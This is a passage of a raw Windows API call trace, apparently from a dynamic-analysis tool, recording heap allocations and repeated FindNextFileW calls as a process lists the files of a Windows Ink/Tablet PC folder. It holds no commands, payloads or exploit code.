[0047.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.904] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e408 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d7b0 [0047.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.905] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e428 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d838 [0047.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.905] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e448 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d8c0 [0047.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.905] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e468 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d948 [0047.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.906] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e488 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9d9d0 [0047.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.906] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e4a8 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9da58 [0047.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.906] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e4c8 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dae0 [0047.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x340) returned 0xf873d8 [0047.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf870d0) returned 1 [0047.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.906] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0047.906] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0047.906] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0047.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.907] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0047.907] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0047.907] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0047.907] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0047.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.907] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0047.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.907] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0047.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.907] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0047.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.908] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.908] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.908] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.908] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0047.908] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.908] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.908] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.908] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.908] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.908] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.908] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0047.908] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.908] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.908] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.908] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.908] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.908] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.908] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0047.908] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0047.908] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0047.908] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0047.908] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0047.908] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0047.908] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0047.908] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.908] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.908] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.908] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.908] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.908] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.908] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0047.908] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0047.908] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.908] RtlFreeHeap 